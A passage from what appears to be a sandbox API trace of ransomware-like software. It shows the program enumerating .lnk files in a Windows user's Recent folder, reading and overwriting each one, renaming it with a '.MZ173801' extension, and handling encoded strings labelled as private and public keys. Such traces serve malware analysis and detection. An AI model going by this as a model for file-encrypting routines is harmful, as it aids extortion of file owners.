lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.657] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x329 [0148.658] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.658] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x329, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x329, lpOverlapped=0x0) returned 1 [0148.658] CloseHandle (hObject=0x280) returned 1 [0148.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lOp2Pc8PoOE5fYa7j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lop2pc8pooe5fya7j.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.660] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x329, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x329, lpOverlapped=0x0) returned 1 [0148.660] CloseHandle (hObject=0x280) returned 1 [0148.662] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lOp2Pc8PoOE5fYa7j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lop2pc8pooe5fya7j.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lOp2Pc8PoOE5fYa7j.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lop2pc8pooe5fya7j.lnk.mz173801")) returned 1 [0148.663] GetCurrentThreadId () returned 0xab4 [0148.663] GetCurrentThreadId () returned 0xab4 [0148.663] GetCurrentThreadId () returned 0xab4 [0148.663] GetCurrentThreadId () returned 0xab4 [0148.663] GetCurrentThreadId () returned 0xab4 [0148.663] GetCurrentThreadId () returned 0xab4 [0148.663] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae2325e, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x6ae2325e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x6ae2325e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="lwhJgzvsl5XlQcrqU6.lnk", cAlternateFileName="LWHJGZ~1.LNK")) returned 1 [0148.663] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.663] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.663] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lwhJgzvsl5XlQcrqU6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lwhjgzvsl5xlqcrqu6.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae2325e, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x6ae2325e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x6ae2325e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ee)) returned 1 [0148.664] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lwhJgzvsl5XlQcrqU6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lwhjgzvsl5xlqcrqu6.lnk")) returned 0x20 [0148.664] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lwhJgzvsl5XlQcrqU6.lnk", dwFileAttributes=0x80) returned 1 [0148.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.667] GetCurrentThreadId () returned 0xab4 [0148.667] GetCurrentThreadId () returned 0xab4 [0148.667] GetCurrentThreadId () returned 0xab4 [0148.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.668] GetCurrentThreadId () returned 0xab4 [0148.668] GetCurrentThreadId () returned 0xab4 [0148.668] GetCurrentThreadId () returned 0xab4 [0148.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lwhJgzvsl5XlQcrqU6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lwhjgzvsl5xlqcrqu6.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.668] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.668] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.668] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3ee [0148.668] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.668] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3ee, lpOverlapped=0x0) returned 1 [0148.669] CloseHandle (hObject=0x280) returned 1 [0148.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lwhJgzvsl5XlQcrqU6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lwhjgzvsl5xlqcrqu6.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.670] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3ee, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3ee, lpOverlapped=0x0) returned 1 [0148.671] CloseHandle (hObject=0x280) returned 1 [0148.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lwhJgzvsl5XlQcrqU6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lwhjgzvsl5xlqcrqu6.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lwhJgzvsl5XlQcrqU6.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lwhjgzvsl5xlqcrqu6.lnk.mz173801")) returned 1 [0148.711] GetCurrentThreadId () returned 0xab4 [0148.711] GetCurrentThreadId () returned 0xab4 [0148.711] GetCurrentThreadId () returned 0xab4 [0148.711] GetCurrentThreadId () returned 0xab4 [0148.711] GetCurrentThreadId () returned 0xab4 [0148.711] GetCurrentThreadId () returned 0xab4 [0148.711] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2fc509, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e2fc509, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e2fd77a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3cb, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="m CS2FXbWa5.lnk", cAlternateFileName="MCS2FX~1.LNK")) returned 1 [0148.712] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.712] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m CS2FXbWa5.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m cs2fxbwa5.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2fc509, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e2fc509, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e2fd77a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3cb)) returned 1 [0148.712] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m CS2FXbWa5.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m cs2fxbwa5.lnk")) returned 0x20 [0148.712] SetFileAttributesW 